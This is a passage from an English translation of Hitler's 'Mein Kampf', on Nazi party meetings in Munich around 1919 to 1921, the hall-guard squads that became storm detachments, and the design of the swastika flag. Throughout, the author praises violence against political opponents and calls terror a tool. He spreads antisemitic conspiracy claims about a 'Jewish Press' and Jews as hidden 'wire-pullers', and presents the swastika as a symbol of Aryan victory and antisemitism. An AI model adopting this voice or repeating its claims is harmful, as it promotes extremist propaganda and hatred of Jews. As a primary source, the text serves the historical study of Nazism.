save the German people from falling into the arms of +Marxism. In that they have shown themselves most pitiably and miserably +impotent. So that the present opinion they have of themselves is only +equal to their conceit. Their pride and stupidity are fruits of the same +tree. + +If these people try to disparage the importance of the spoken word +to-day, they do it only because they realize--God be praised and +thanked--how futile all their own speechifying has been. + + + + +CHAPTER VII + + + +THE CONFLICT WITH THE RED FORCES + + +In 1919-20 and also in 1921 I attended some of the bourgeois meetings. +Invariably I had the same feeling towards these as towards the +compulsory dose of castor oil in my boyhood days. It just had to be +taken because it was good for one: but it certainly tasted unpleasant. +If it were possible to tie ropes round the German people and forcibly +drag them to these bourgeois meetings, keeping them there behind barred +doors and allowing nobody to escape until the meeting closed, then this +procedure might prove successful in the course of a few hundred years. +For my own part, I must frankly admit that, under such circumstances, I +could not find life worth living; and indeed I should no longer wish to +be a German. But, thank God, all this is impossible. And so it is not +surprising that the sane and unspoilt masses shun these 'bourgeois mass +meetings' as the devil shuns holy water. + +I came to know the prophets of the bourgeois WELTANSCHAUUNG, and I was +not surprised at what I learned, as I knew that they attached little +importance to the spoken word. At that time I attended meetings of the +Democrats, the German Nationalists, the German People's Party and the +Bavarian People's Party (the Centre Party of Bavaria). What struck me at +once was the homogeneous uniformity of the audiences. Nearly always they +were made up exclusively of party members. The whole affair was more +like a yawning card party than an assembly of people who had just passed +through a great revolution. The speakers did all they could to maintain +this tranquil atmosphere. They declaimed, or rather read out, their +speeches in the style of an intellectual newspaper article or a learned +treatise, avoiding all striking expressions. Here and there a feeble +professorial joke would be introduced, whereupon the people sitting at +the speaker's table felt themselves obliged to laugh--not loudly but +encouragingly and with well-bred reserve. + +And there were always those people at the speaker's table. I once +attended a meeting in the Wagner Hall in Munich. It was a demonstration +to celebrate the anniversary of the Battle of Leipzig. (Note 17) The +speech was delivered or rather read out by a venerable old professor from +one or other of the universities. The committee sat on the platform: one +monocle on the right, another monocle on the left, and in the centre a +gentleman with no monocle. All three of them were punctiliously attired +in morning coats, and I had the impression of being present before a +judge's bench just as the death sentence was about to be pronounced or +at a christening or some more solemn religious ceremony. The so-called +speech, which in printed form may have read quite well, had a disastrous +effect. After three quarters of an hour the audience fell into a sort of +hypnotic trance, which was interrupted only when some man or woman left +the hall, or by the clatter which the waitresses made, or by the +increasing yawns of slumbering individuals. I had posted myself behind +three workmen who were present either out of curiosity or because they +were sent there by their parties. From time to time they glanced at one +another with an ill-concealed grin, nudged one another with the elbow, +and then silently left the hall. One could see that they had no +intention whatsoever of interrupting the proceedings, nor indeed was it +necessary to interrupt them. At long last the celebration showed signs +of drawing to a close. After the professor, whose voice had meanwhile +become more and more inaudible, finally ended his speech, the gentleman +without the monocle delivered a rousing peroration to the assembled +'German sisters and brothers.' On behalf of the audience and himself he +expressed gratitude for the magnificent lecture which they had just +heard from Professor X and emphasized how deeply the Professor's words +had moved them all. If a general discussion on the lecture were to take +place it would be tantamount to profanity, and he thought he was voicing +the opinion of all present in suggesting that such a discussion should +not be held. Therefore, he would ask the assembly to rise from their +seats and join in singing the patriotic song, WIR SIND EIN EINIG VOLK +VON BRÜDERN. The proceedings finally closed with the anthem, DEUTSCHLAND +ÜBER ALLES. + +[Note 17. The Battle of Leipzig (1813), where the Germans inflicted an +overwhelming defeat on Napoleon, was the decisive event which put an end +to the French occupation of Germany. + +The occupation had lasted about twenty years. After the Great War, and +the partial occupation of Germany once again by French forces, the +Germans used to celebrate the anniversary of the Battle of Leipzig as a +symbol of their yearning.] + +And then they all sang. It appeared to me that when the second verse was +reached the voices were fewer and that only when the refrain came on +they swelled loudly. When we reached the third verse my belief was +confirmed that a good many of those present were not very familiar with +the text. + +But what has all this to do with the matter when such a song is sung +wholeheartedly and fervidly by an assembly of German nationals? + +After this the meeting broke up and everyone hurried to get outside, one +to his glass of beer, one to a cafe, and others simply into the fresh +air. + +Out into the fresh air! That was also my feeling. And was this the way +to honour an heroic struggle in which hundreds of thousands of Prussians +and Germans had fought? To the devil with it all! + +That sort of thing might find favour with the Government, it being +merely a 'peaceful' meeting. The Minister responsible for law and order +need not fear that enthusiasm might suddenly get the better of public +decorum and induce these people to pour out of the room and, instead of +dispersing to beer halls and cafes, march in rows of four through the +town singing DEUTSCHLAND hoch in Ehren and causing some unpleasantness +to a police force in need of rest. + +No. That type of citizen is of no use to anyone. + +On the other hand the National Socialist meetings were by no means +'peaceable' affairs. Two distinct WELTANSCHHAUUNGen raged in bitter +opposition to one another, and these meetings did not close with the +mechanical rendering of a dull patriotic song but rather with a +passionate outbreak of popular national feeling. + +It was imperative from the start to introduce rigid discipline into our +meetings and establish the authority of the chairman absolutely. Our +purpose was not to pour out a mixture of soft-soap bourgeois talk; what +we had to say was meant to arouse the opponents at our meetings! How +often did they not turn up in masses with a few individual agitators +among them and, judging by the expression on all their faces, ready to +finish us off there and then. + +Yes, how often did they not turn up in huge numbers, those supporters of +the Red Flag, all previously instructed to smash up everything once and +for all and put an end to these meetings. More often than not everything +hung on a mere thread, and only the chairman's ruthless determination +and the rough handling by our ushers baffled our adversaries' +intentions. And indeed they had every reason for being irritated. + +The fact that we had chosen red as the colour for our posters sufficed +to attract them to our meetings. The ordinary bourgeoisie were very +shocked to see that, we had also chosen the symbolic red of Bolshevism +and they regarded this as something ambiguously significant. The +suspicion was whispered in German Nationalist circles that we also were +merely another variety of Marxism, perhaps even Marxists suitably +disguised, or better still, Socialists. The actual difference between +Socialism and Marxism still remains a mystery to these people up to this +day. The charge of Marxism was conclusively proved when it was +discovered that at our meetings we deliberately substituted the words +'Fellow-countrymen and Women' for 'Ladies and Gentlemen' and addressed +each other as 'Party Comrade'. We used to roar with laughter at these +silly faint-hearted bourgeoisie and their efforts to puzzle out our +origin, our intentions and our aims. + +We chose red for our posters after particular and careful deliberation, +our intention being to irritate the Left, so as to arouse their +attention and tempt them to come to our meetings--if only in order to +break them up--so that in this way we got a chance of talking to the +people. + +In those years' it was indeed a delightful experience to follow the +constantly changing tactics of our perplexed and helpless adversaries. +First of all they appealed to their followers to ignore us and keep away +from our meetings. Generally speaking this appeal was heeded. But, as +time went on, more and more of their followers gradually found their way +to us and accepted our teaching. Then the leaders became nervous and +uneasy. They clung to their belief that such a development should not be +ignored for ever, and that terror must be applied in order to put an end +to it. + +Appeals were then made to the 'class-conscious proletariat' to attend +our meetings in masses and strike with the clenched hand of the +proletarian at the representatives of a 'monarchist and reactionary +agitation'. + +Our meetings suddenly became packed with work-people fully +three-quarters of an hour before the proceedings were scheduled to +begin. These gatherings resembled a powder cask ready to explode at any +moment; and the fuse was conveniently at hand. But matters always turned +out differently. People came as enemies and left, not perhaps prepared +to join us, yet in a reflective mood and disposed critically to examine +the correctness of their own doctrine. Gradually as time went on my +three-hour lectures resulted in supporters and opponents becoming united +in one single enthusiastic group of people. Every signal for the +breaking-up of the meeting failed. The result was that the opposition +leaders became frightened and once again looked for help to those +quarters that had formerly discountenanced these tactics and, with some +show of right, had been of the opinion that on principle the workers +should be forbidden to attend our meetings. + +Then they did not come any more, or only in small numbers. But after a +short time the whole game started all over again. The instructions to +keep away from us were ignored; the comrades came in steadily increasing +numbers, until finally the advocates of the radical tactics won the day. +We were to be broken up. + +Yet when, after two, three and even eight meetings, it was realized that +to break up these gatherings was easier said than done and that every +meeting resulted in a decisive weakening of the red fighting forces, +then suddenly the other password was introduced: 'Proletarians, comrades +and comradesses, avoid meetings of the National Socialist agitators'. + +The same eternally alternating tactics were also to be observed in the +Red Press. Soon they tried to silence us but discovered the uselessness +of such an attempt. After that they swung round to the opposite tactics. +Daily 'reference' was made to us solely for the purpose of absolutely +ridiculing us in the eyes of the working-classes. After a time these +gentlemen must have felt that no harm was being done to us, but that, on +the contrary, we were reaping an advantage in that people were asking +themselves why so much space was being devoted to a subject which was +supposed to be so ludicrous. People became curious. Suddenly there was a +change of tactics and for a time we were treated as veritable criminals +against mankind. One article followed the other, in which our criminal +intentions were explained and new proofs brought forward to support what +was said. Scandalous tales, all of them fabricated from start to finish, +were published in order to help to poison the public mind. But in a +short time even these attacks also proved futile; and in fact they +assisted materially because they attracted public attention to us. + +In those days I took up the standpoint that it was immaterial whether +they laughed at us or reviled us, whether they depicted us as fools or +criminals; the important point was that they took notice of us and that +in the eyes of the working-classes we came to be regarded as the only +force capable of putting up a fight. I said to myself that the followers +of the Jewish Press would come to know all about us and our real aims. + +One reason why they never got so far as breaking up our meetings was +undoubtedly the incredible cowardice displayed by the leaders of the +opposition. On every critical occasion they left the dirty work to the +smaller fry whilst they waited outside the halls for the results of the +break up. + +We were exceptionally well informed in regard to our opponents' +intentions, not only because we allowed several of our party colleagues +to remain members of the Red organizations for reasons of expediency, +but also because the Red wire-pullers, fortunately for us, were +afflicted with a degree of talkativeness that is still unfortunately +very prevalent among Germans. They could not keep their own counsel, and +more often than not they started cackling before the proverbial egg was +laid. Hence, time and again our precautions were such that Red agitators +had no inkling of how near they were to being thrown out of the +meetings. + +This state of affairs compelled us to take the work of safeguarding our +meetings into our own hands. No reliance could be placed on official +protection. On the contrary; experience showed that such protection +always favoured only the disturbers. The only real outcome of police +intervention would be that the meeting would be dissolved, that is to +say, closed. And that is precisely what our opponents granted. + +Generally speaking, this led the police to adopt a procedure which, to +say the least, was a most infamous sample of official malpractice. The +moment they received information of a threat that the one or other +meeting was to be broken up, instead of arresting the would-be +disturbers, they promptly advised the innocent parties that the meeting +was forbidden. This step the police proclaimed as a 'precautionary +measure in the interests of law and order'. + +The political work and activities of decent people could therefore +always be hindered by desperate ruffians who had the means at their +disposal. In the name of peace and order State authority bowed down to +these ruffians and demanded that others should not provoke them. When +National Socialism desired to hold meetings in certain parts and the +labour unions declared that their members would resist, then it was not +these blackmailers that were arrested and gaoled. No. Our meetings were +forbidden by the police. Yes, this organ of the law had the unspeakable +impudence to advise us in writing to this effect in innumerable +instances. To avoid such eventualities, it was necessary to see to it +that every attempt to disturb a meeting was nipped in the bud. Another +feature to be taken into account in this respect is that all meetings +which rely on police protection must necessarily bring discredit to +their promoters in the eyes of the general public. Meetings that are +only possible with the protective assistance of a strong force of police +convert nobody; because in order to win over the lower strata of the +people there must be a visible show of strength on one's own side. In +the same way that a man of courage will win a woman's affection more +easily than a coward, so a heroic movement will be more successful in +winning over the hearts of a people than a weak movement which relies on +police support for its very existence. + +It is for this latter reason in particular that our young movement was +to be charged with the responsibility of assuring its own existence, +defending itself; and conducting its own work of smashing the Red +opposition. + +The work of organizing the protective measures for our meetings was +based on the following: + +(1) An energetic and psychologically judicious way of conducting the +meeting. + +(2) An organized squad of troops to maintain order. + +In those days we and no one else were masters of the situation at our +meetings and on no occasion did we fail to emphasize this. Our opponents +fully realized that any provocation would be the occasion of throwing +them out of the hall at once, whatever the odds against us. At meetings, +particularly outside Munich, we had in those days from five to eight +hundred opponents against fifteen to sixteen National Socialists; yet we +brooked no interference, for we were ready to be killed rather than +capitulate. More than once a handful of party colleagues offered a +heroic resistance to a raging and violent mob of Reds. Those fifteen or +twenty men would certainly have been overwhelmed in the end had not the +opponents known that three or four times as many of themselves would +first get their skulls cracked. Arid that risk they were not willing to +run. We had done our best to study Marxist and bourgeois methods of +conducting meetings, and we had certainly learnt something. + +The Marxists had always exercised a most rigid discipline so that the +question of breaking up their meetings could never have originated in +bourgeois quarters. This gave the Reds all the more reason for acting on +this plan. In time they not only became past-masters in this art but in +certain large districts of the REICH they went so far as to declare that +non-Marxist meetings were nothing less than a cause of' provocation +against the proletariat. This was particularly the case when the +wire-pullers suspected that a meeting might call attention to their own +transgressions and thus expose their own treachery and chicanery. +Therefore the moment such a meeting was announced to be held a howl of +rage went up from the Red Press. These detractors of the law nearly +always turned first to the authorities and requested in imperative and +threatening language that this 'provocation of the proletariat' be +stopped forthwith in the 'interests of law and order'. Their language +was chosen according to the importance of the official blockhead they +were dealing with and thus success was assured. If by chance the +official happened to be a true German--and not a mere figurehead--and he +declined the impudent request, then the time-honoured appeal to stop +'provocation of the proletariat' was issued together with instructions +to attend such and such a meeting on a certain date in full strength for +the purpose of 'putting a stop to the disgraceful machinations of the +bourgeoisie by means of the proletarian fist'. + +The pitiful and frightened manner in which these bourgeois meetings are +conducted must be seen in order to be believed. Very frequently these +threats were sufficient to call off such a meeting at once. The feeling +of fear was so marked that the meeting, instead of commencing at eight +o'clock, very seldom was opened before a quarter to nine or nine +o'clock. The Chairman thereupon did his best, by showering compliments +on the 'gentleman of the opposition' to prove how he and all others +present were pleased (a palpable lie) to welcome a visit from men who as +yet were not in sympathy with them for the reason that only by mutual +discussion (immediately agreed to) could they be brought closer together +in mutual understanding. Apart from this the Chairman also assured them +that the meeting had no intention whatsoever of interfering with the +professed convictions of anybody. Indeed no. Everyone had the right to +form and hold his own political views, but others should be allowed to +do likewise. He therefore requested that the speaker be allowed to +deliver his speech without interruption--the speech in any case not +being a long affair. People abroad, he continued, would thus not come to +regard this meeting as another shameful example of the bitter fraternal +strife that is raging in Germany. And so on and so forth + +The brothers of the Left had little if any appreciation for that sort of +talk; the speaker had hardly commenced when he was shouted down. One +gathered the impression at times that these speakers were graceful for +being peremptorily cut short in their martyr-like discourse. These +bourgeois toreadors left the arena in the midst of a vast uproar, that +is to say, provided that they were not thrown down the stairs with +cracked skulls, which was very often the case. + +Therefore, our methods of organization at National Socialist meetings +were something quite strange to the Marxists. They came to our meetings +in the belief that the little game which they had so often played could +as a matter of course be also repeated on us. "To-day we shall finish +them off." How often did they bawl this out to each other on entering +the meeting hall, only to be thrown out with lightning speed before they +had time to repeat it. + +In the first place our method of conducting a meeting was entirely +different. We did not beg and pray to be allowed to speak, and we did +not straightway give everybody the right to hold endless discussions. We +curtly gave everyone to understand that we were masters of the meeting +and that we would do as it pleased us and that everyone who dared to +interrupt would be unceremoniously thrown out. We stated clearly our +refusal to accept responsibility for anyone treated in this manner. If +time permitted and if it suited us, a discussion would be allowed to +take place. Our party colleague would now make his speech.... That kind +of talk was sufficient in itself to astonish the Marxists. + +Secondly, we had at our disposal a well-trained and organized body of +men for maintaining order at our meetings. On the other hand the +bourgeois parties protected their meetings with a body of men better +classified as ushers who by virtue of their age thought they were +entitled to-authority and respect. But as Marxism has little or no +respect for these things, the question of suitable self-protection at +these bourgeois meetings was, so to speak, in practice non-existent. + +When our political meetings first started I made it a special point to +organize a suitable defensive squad--a squad composed chiefly of young +men. Some of them were comrades who had seen active service with me; +others were young party members who, right from the start, had been +trained and brought up to realize that only terror is capable of +smashing terror--that only courageous and determined people had made a +success of things in this world and that, finally, we were fighting for +an idea so lofty that it was worth the last drop of our blood. These +young men had been brought up to realize that where force replaced +common sense in the solution of a problem, the best means of defence was +attack and that the reputation of our hall-guard squads should stamp us +as a political fighting force and not as a debating society. + +And it was extraordinary how eagerly these boys of the War generation +responded to this order. They had indeed good reason for being bitterly +disappointed and indignant at the miserable milksop methods employed by +the bourgeoise. + +Thus it became clear to everyone that the Revolution had only been +possible thanks to the dastardly methods of a bourgeois government. At +that time there was certainly no lack of man-power to suppress the +revolution, but unfortunately there was an entire lack of directive +brain power. How often did the eyes of my young men light up with +enthusiasm when I explained to them the vital functions connected with +their task and assured them time and again that all earthly wisdom is +useless unless it be supported by a measure of strength, that the gentle +goddess of Peace can only walk in company with the god of War, and that +every great act of peace must be protected and assisted by force. In +this way the idea of military service came to them in a far more +realistic form--not in the fossilized sense of the souls of decrepit +officials serving the dead authority of a dead State, but in the living +realization of the duty of each man to sacrifice his life at all times +so that his country might live. + +How those young men did their job! + +Like a swarm of hornets they tackled disturbers at our meetings, +regardless of superiority of numbers, however great, indifferent to +wounds and bloodshed, inspired with the great idea of blazing a trail +for the sacred mission of our movement. + +As early as the summer of 1920 the organization of squads of men as hall +guards for maintaining order at our meetings was gradually assuming +definite shape. By the spring of 1921 this body of men were sectioned +off into squads of one hundred, which in turn were sub-divided into +smaller groups. + +The urgency for this was apparent, as meanwhile the number of our +meetings had steadily increased. We still frequently met in the Munich +Hofbräuhaus but more frequently in the large meeting halls throughout +the city itself. In the autumn and winter of 1920-1921 our meetings in +the Bürgerbräu and Munich Kindlbräu had assumed vast proportions and it +was always the same picture that presented itself; namely, meetings of +the NSDAP (The German National Socialist Labour Party) were always +crowded out so that the police were compelled to close and bar the doors +long before proceedings commenced. + +The organization of defence guards for keeping order at our meetings +cleared up a very difficult question. Up till then the movement had +possessed no party badge and no party flag. The lack of these tokens was +not only a disadvantage at that time but would prove intolerable in the +future. The disadvantages were chiefly that members of the party +possessed no outward broken of membership which linked them together, +and it was absolutely unthinkable that for the future they should remain +without some token which would be a symbol of the movement and could be +set against that of the International. + +More than once in my youth the psychological importance of such a symbol +had become clearly evident to me and from a sentimental point of view +also it was advisable. In Berlin, after the War, I was present at a +mass-demonstration of Marxists in front of the Royal Palace and in the +Lustgarten. A sea of red flags, red armlets and red flowers was in +itself sufficient to give that huge assembly of about 120,000 persons an +outward appearance of strength. I was now able to feel and understand +how easily the man in the street succumbs to the hypnotic magic of such +a grandiose piece of theatrical presentation. + +The bourgeoisie, which as a party neither possesses or stands for any +WELTANSCHAUUNG, had therefore not a single banner. Their party was +composed of 'patriots' who went about in the colours of the REICH. If +these colours were the symbol of a definite WELTANSCHAUUNG then one +could understand the rulers of the State regarding this flag as +expressive of their own WELTANSCHAUUNG, seeing that through their +efforts the official REICH flag was expressive of their own +WELTANSCHAUUNG. + +But in reality the position was otherwise. + +The REICH was morticed together without the aid of the German +bourgeoisie and the flag itself was born of the War and therefore merely +a State flag possessing no importance in the sense of any particular +ideological mission. + +Only in one part of the German-speaking territory--in +German-Austria--was there anything like a bourgeois party flag in +evidence. Here a section of the national bourgeoisie selected the 1848 +colours (black, red and gold) as their party flag and therewith created +a symbol which, though of no importance from a weltanschauliche +viewpoint, had, nevertheless, a revolutionary character from a national +point of view. The most bitter opponents of this flag at that time, and +this should not be forgotten to-day, were the Social Democrats and the +Christian Socialists or clericals. They, in particular, were the ones +who degraded and besmirched these colours in the same way as in 1918 +they dragged black, white and red into the gutter. Of course, the black, +red and gold of the German parties in the old Austria were the colours +of the year 1848: that is to say, of a period likely to be regarded as +somewhat visionary, but it was a period that had honest German souls as +its representatives, although the Jews were lurking unseen as +wire-pullers in the background. It was high treason and the shameful +enslavement of the German territory that first of all made these colours +so attractive to the Marxists of the Centre Party; so much so that +to-day they revere them as their most cherished possession and use them +as their own banners for the protection of the flag they once foully +besmirched. + +It is a fact, therefore, that, up till 1920, in opposition to the +Marxists there was no flag that would have stood for a consolidated +resistance to them. For even if the better political elements of the +German bourgeoisie were loath to accept the suddenly discovered black, +red and gold colours as their symbol after the year 1918, they +nevertheless were incapable of counteracting this with a future +programme of their own that would correspond to the new trend of +affairs. At the most, they had a reconstruction of the old REICH in +mind. + +And it is to this way of thinking that the black, white and red colours +of the old REICH are indebted for their resurrection as the flag of our +so-called national bourgeois parties. + +It was obvious that the symbol of a régime which had been overthrown by +the Marxists under inglorious circumstances was not now worthy to serve +as a banner under which the same Marxism was to be crushed in its turn. +However much any decent German may love and revere those old colours, +glorious when placed side by side in their youthful freshness, when he +had fought under them and seen the sacrifice of so many lives, that flag +had little value for the struggle of the future. + +In our Movement I have always adopted the standpoint that it was a +really lucky thing for the German nation that it had lost its old flag +(Note 18). This standpoint of mine was in strong contrast to that of the +bourgeois politicians. It may be immaterial to us what the Republic does +under its flag. But let us be deeply grateful to fate for having so +graciously spared the most glorious war flag for all time from becoming +an ignominious rag. The REICH of to-day, which sells itself and its +people, must never be allowed to adopt the honourable and heroic black, +white and red colours. + +[Note 18. The flag of the German Empire, founded in 1871, was +Black-White-Red. This was discarded in 1918 and Black-Red-Gold was chosen +as the flag of the German Republic founded at Weimar in 1919. The flag +designed by Hitler--red with a white disc in the centre, bearing the +black swastika--is now the national flag.] + +As long as the November outrage endures, that outrage may continue to +bear its own external sign and not steal that of an honourable past. Our +bourgeois politicians should awaken their consciences to the fact that +whoever desires this State to have the black, white and red colours is +pilfering from the past. The old flag was suitable only for the old +REICH and, thank Heaven, the Republic chose the colours best suited to +itself. + +This was also the reason why we National Socialists recognized that +hoisting the old colours would be no symbol of our special aims; for we +had no wish to resurrect from the dead the old REICH which had been +ruined through its own blunders, but to build up a new State. + +The Movement which is fighting Marxism to-day along these lines must +display on its banner the symbol of the new State. + +The question of the new flag, that is to say the form and appearance it +must take, kept us very busy in those days. Suggestions poured in from +all quarters, which although well meant were more or less impossible in +practice. The new flag had not only to become a symbol expressing our +own struggle but on the other hand it was necessary that it should prove +effective as a large poster. All those who busy themselves with the +tastes of the public will recognize and appreciate the great importance +of these apparently petty matters. In hundreds of thousands of cases a +really striking emblem may be the first cause of awakening interest in a +movement. + +For this reason we declined all suggestions from various quarters for +identifying our movement by means of a white flag with the old State or +rather with those decrepit parties whose sole political objective is the +restoration of past conditions. And, apart from this, white is not a +colour capable of attracting and focusing public attention. It is a +colour suitable only for young women's associations and not for a +movement that stands for reform in a revolutionary period. + +Black was also suggested--certainly well-suited to the times, but +embodying no significance to empress the will behind our movement. And, +finally, black is incapable of attracting attention. + +White and blue was discarded, despite its admirable aesthetic appeal--as +being the colours of an individual German Federal State--a State that, +unfortunately, through its political attitude of particularist +narrow-mindedness did not enjoy a good reputation. And, generally +speaking, with these colours it would have been difficult to attract +attention to our movement. The same applies to black and white. + +Black, red and gold did not enter the question at all. + +And this also applies to black, white and red for reasons already +stated. At least, not in the form hitherto in use. But the effectiveness +of these three colours is far superior to all the others and they are +certainly the most strikingly harmonious combination to be found. + +I myself was always for keeping the old colours, not only because I, as +a soldier, regarded them as my most sacred possession, but because in +their aesthetic effect, they conformed more than anything else to my +personal taste. Accordingly I had to discard all the innumerable +suggestions and designs which had been proposed for the new movement, +among which were many that had incorporated the swastika into the old +colours. I, as leader, was unwilling to make public my own design, as it +was possible that someone else could come forward with a design just as +good, if not better, than my own. As a matter of fact, a dental surgeon +from Starnberg submitted a good design very similar to mine, with only +one mistake, in that his swastika with curved corners was set upon a +white background. + +After innumerable trials I decided upon a final form--a flag of red +material with a white disc bearing in its centre a black swastika. After +many trials I obtained the correct proportions between the dimensions of +the flag and of the white central disc, as well as that of the swastika. +And this is how it has remained ever since. + +At the same time we immediately ordered the corresponding armlets for +our squad of men who kept order at meetings, armlets of red material, a +central white disc with the black swastika upon it. Herr Füss, a Munich +goldsmith, supplied the first practical and permanent design. + +The new flag appeared in public in the midsummer of 1920. It suited our +movement admirably, both being new and young. Not a soul had seen this +flag before; its effect at that time was something akin to that of a +blazing torch. We ourselves experienced almost a boyish delight when one +of the ladies of the party who had been entrusted with the making of the +flag finally handed it over to us. And a few months later those of us in +Munich were in possession of six of these flags. The steadily increasing +strength of our hall guards was a main factor in popularizing the +symbol. + +And indeed a symbol it proved to be. + +Not only because it incorporated those revered colours expressive of our +homage to the glorious past and which once brought so much honour to the +German nation, but this symbol was also an eloquent expression of the +will behind the movement. We National Socialists regarded our flag as +being the embodiment of our party programme. The red expressed the +social thought underlying the movement. White the national thought. And +the swastika signified the mission allotted to us--the struggle for the +victory of Aryan mankind and at the same time the triumph of the ideal +of creative work which is in itself and always will be anti-Semitic. + +Two years later, when our squad of hall guards had long since grown into +storm detachments, it seemed necessary to give this defensive +organization of a young WELTANSCHAUUNG a particular symbol of victory, +namely a Standard. I also designed this and entrusted the execution of +it to an old party comrade, Herr Gahr, who was a goldsmith. Ever since +that time this Standard has been the distinctive token of the National +Socialist struggle. + +The increasing interest taken in our meetings, particularly during 1920, +compelled us at times to hold two meetings a week. Crowds gathered round +our posters; the large meeting halls in the town were always filled and +tens of thousands of people, who had been led astray by the teachings of +Marxism, found their way to us and assisted in the work of fighting for +the liberation of the REICH. The public in Munich had got to know us. We +were being spoken about. The words 'National Socialist' had become +common property to many and signified for them a definite party +programme. Our circle of supporters and even of members was constantly +increasing, so that in the winter of 1920-21 we were able to appear as a +strong party in Munich. + +At that time there was no party in Munich with the exception of the +Marxist parties--certainly no nationalist party--which was able to hold +such mass demonstrations as ours. The Munich Kindl Hall, which held +5,000 people, was more than once overcrowded and up till then there was +only one other hall, the Krone Circus Hall, into which we had not +ventured. + +At the end of January 1921 there was again great cause for anxiety in +Germany. The Paris Agreement, by which Germany pledged herself to pay +the crazy sum of a hundred milliards of gold marks, was to be confirmed +by the London Ultimatum. + +Thereupon an old-established Munich working committee, representative of +so-called VÖLKISCH groups, deemed it advisable to call for a public +meeting of protest. I became nervous and restless when I saw that a lot +of time was being wasted and nothing undertaken. At first a meeting was +suggested in the KÖNIG PLATZ; on second thoughts this was turned down, +as someone feared the proceedings might be wrecked by Red elements. +Another suggestion was a demonstration in front of the Feldherrn Hall, +but this also came to nothing. Finally a combined meeting in the Munich +Kindl Hall was suggested. Meanwhile, day after day had gone by; the big +parties had entirely ignored the terrible event, and the working +committee could not decide on a definite date for holding the +demonstration. + +On Tuesday, February 1st, I put forward an urgent demand for a final +decision. I was put off until Wednesday. On that day I demanded to be +told clearly if and when the meeting was to take place. The reply was +again uncertain and evasive, it being stated that it was 'intended' to +arrange a demonstration that day week. + +At that I lost all patience and decided to conduct a demonstration of +protest on my own. At noon on Wednesday I dictated in ten minutes the +text of the poster and at the same time hired the Krone Circus Hall for +the next day, February 3rd. + +In those days this was a tremendous venture. Not only because of the +uncertainty of filling that vast hall, but also because of the risk of +the meeting being wrecked. + +Numerically our squad of hall guards was not strong enough for this vast +hall. I was also uncertain about what to do in case the meeting was +broken up--a huge circus building being a different proposition from an +ordinary meeting hall. But events showed that my fears were misplaced, +the opposite being the case. In that vast building a squad of wreckers +could be tackled and subdued more easily than in a cramped hall. + +One thing was certain: A failure would throw us back for a long time to +come. If one meeting was wrecked our prestige would be seriously injured +and our opponents would be encouraged to repeat their success. That +would lead to sabotage of our work in connection with further meetings +and months of difficult struggle would be necessary to overcome this. + +We had only one day in which to post our bills, Thursday. Unfortunately +it rained on the morning of that day and there was reason to fear that +many people would prefer to remain at home rather than hurry to a +meeting through rain and snow, especially when there was likely to be +violence and bloodshed. + +And indeed on that Thursday morning I was suddenly struck with fear that +the hall might never be filled to capacity, which would have made me +ridiculous in the eyes of the working committee. I therefore immediately +dictated various leaflets, had them printed and distributed in the +afternoon. Of course they contained an invitation to attend the meeting. + +Two lorries which I hired were draped as much as possible in red, each +had our new flag hoisted on it and was then filled with fifteen or +twenty members of our party. Orders were given the members to canvas the +streets thoroughly, distribute leaflets and conduct propaganda for the +mass meeting to be held that evening. It was the first time that lorries +had driven through the streets bearing flags and not manned by Marxists. +The public stared open-mouthed at these red-draped cars, and in the +outlying districts clenched fists were angrily raised at this new +evidence of 'provocation of the proletariat'. Were not the Marxists the +only ones entitled to hold meetings and drive about in motor lorries? + +At seven o'clock in the evening only a few had gathered in the circus +hall. I was being kept informed by telephone every ten minutes and was +becoming uneasy. Usually at seven or a quarter past our meeting halls +were already half filled; sometimes even packed. But I soon found out +the reason why I was uneasy. I had entirely forgotten to take into +account the huge dimensions of this new meeting place. A thousand people +in the Hofbräuhaus was quite an impressive sight, but the same number in +the Circus building was swallowed up in its dimensions and was hardly +noticeable. Shortly afterwards I received more hopeful reports and at a +quarter to eight I was informed that the hall was three-quarters filled, +with huge crowds still lined up at the pay boxes. I then left for the +meeting. + +I arrived at the Circus building at two minutes past eight. There was +still a crowd of people outside, partly inquisitive people and many +opponents who preferred to wait outside for developments. + +When I entered the great hall I felt the same joy I had felt a year +previously at the first meeting in the Munich Hofbräu Banquet Hall; but +it was not until I had forced my way through the solid wall of people +and reached the platform that I perceived the full measure of our +success. The hall was before me, like a huge shell, packed with +thousands and thousands of people. Even the arena was densely crowded. +More than 5,600 tickets had been sold and, allowing for the unemployed, +poor students and our own detachments of men for keeping order, a crowd +of about 6,500 must have been present. + +My theme was 'Future or Downfall' and I was filled with joy at the +conviction that the future was represented by the crowds that I was +addressing. + +I began, and spoke for about two and a half hours. I had the feeling +after the first half-hour that the meeting was going to be a big +success. Contact had been at once established with all those thousands +of individuals. After the first hour the speech was already being +received by spontaneous outbreaks of applause, but after the second hour +this died down to a solemn stillness which I was to experience so often +later on in this same hall, and which will for ever be remembered by all +those present. Nothing broke this impressive silence and only when the +last word had been spoken did the meeting give vent to its feelings by +singing the national anthem. + +I watched the scene during the next twenty minutes, as the vast hall +slowly emptied itself, and only then did I leave the platform, a happy +man, and made my way home. + +Photographs were taken of this first meeting in the Krone Circus Hall in +Munich. They are more eloquent than words to demonstrate the success of +this demonstration. The bourgeois papers reproduced photographs and +reported the meeting as having been merely 'nationalist' in character; +in their usual modest fashion they omitted all mention of its promoters. + +Thus for the first time we had developed far beyond the dimensions of an +ordinary party. We could no longer be ignored. And to dispel all doubt +that the meeting was merely an isolated success, I immediately arranged +for another at the Circus Hall in the following week, and again we had +the same success. Once more the vast hall was overflowing with people; +so much so that I decided to hold a third meeting during the following +week, which also proved a similar success. + +After these initial successes early in 1921 I increased our activity in +Munich still further. I not only held meetings once a week, but during +some weeks even two were regularly held and very often during midsummer +and autumn this increased to three. We met regularly at the Circus Hall +and it gave us great satisfaction to see that every meeting brought us +the same measure of success. + +The result was shown in an ever-increasing number of supporters and +members into our party. + +Naturally, such success did not allow our opponents to sleep soundly. At +first their tactics fluctuated between the use of terror and silence in +our regard. Then they recognized that neither terror nor silence could +hinder the progress of our movement. So they had recourse to a supreme +act of terror which was intended to put a definite end to our activities +in the holding of meetings. + +As a pretext for action along this line they availed themselves of a +very mysterious attack on one of the Landtag deputies, named Erhard +Auer. It was declared that someone had fired several shots at this man +one evening. This meant that he was not shot but that an attempt had +been made to shoot him. A fabulous presence of mind and heroic courage +on the part of Social Democratic leaders not only prevented the +sacrilegious intention from taking effect but also put the crazy +would-be assassins to flight, like the cowards that they were. They were +so quick and fled so far that subsequently the police could not find +even the slightest traces of them. This mysterious episode was used by +the organ of the Social Democratic Party to arouse public feeling +against the movement, and while doing this it delivered its old +rigmarole about the tactics that were to be employed 